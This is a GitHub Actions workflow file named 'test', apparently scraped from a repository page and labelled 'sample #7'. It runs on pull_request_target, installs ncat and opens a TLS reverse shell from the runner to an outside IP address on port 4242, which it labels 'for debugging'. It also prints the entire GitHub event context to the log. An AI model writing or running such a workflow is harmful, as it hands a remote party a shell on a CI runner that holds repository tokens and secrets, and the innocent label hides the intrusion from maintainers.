sample #7
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: test | |
on: | |
pull_request_target: # Use pull_request_target | |
branches: [master] | |
jobs: | |
test: | |
runs-on: ubuntu-latest | |
steps: | |
- uses: actions/checkout@v4 | |
with: | |
fetch-depth: 0 | |
- name: Install ncat | |
run: sudo apt-get update && sudo apt-get install -y ncat | |
- name: Send TLS revshell for debugging | |
run: ncat --ssl 172.234.100.71 4242 -e /bin/sh | |
- run: | | |
echo "$EVENT" | |
cat .npmignore | |
env: | |
EVENT: ${{toJSON(github)}} |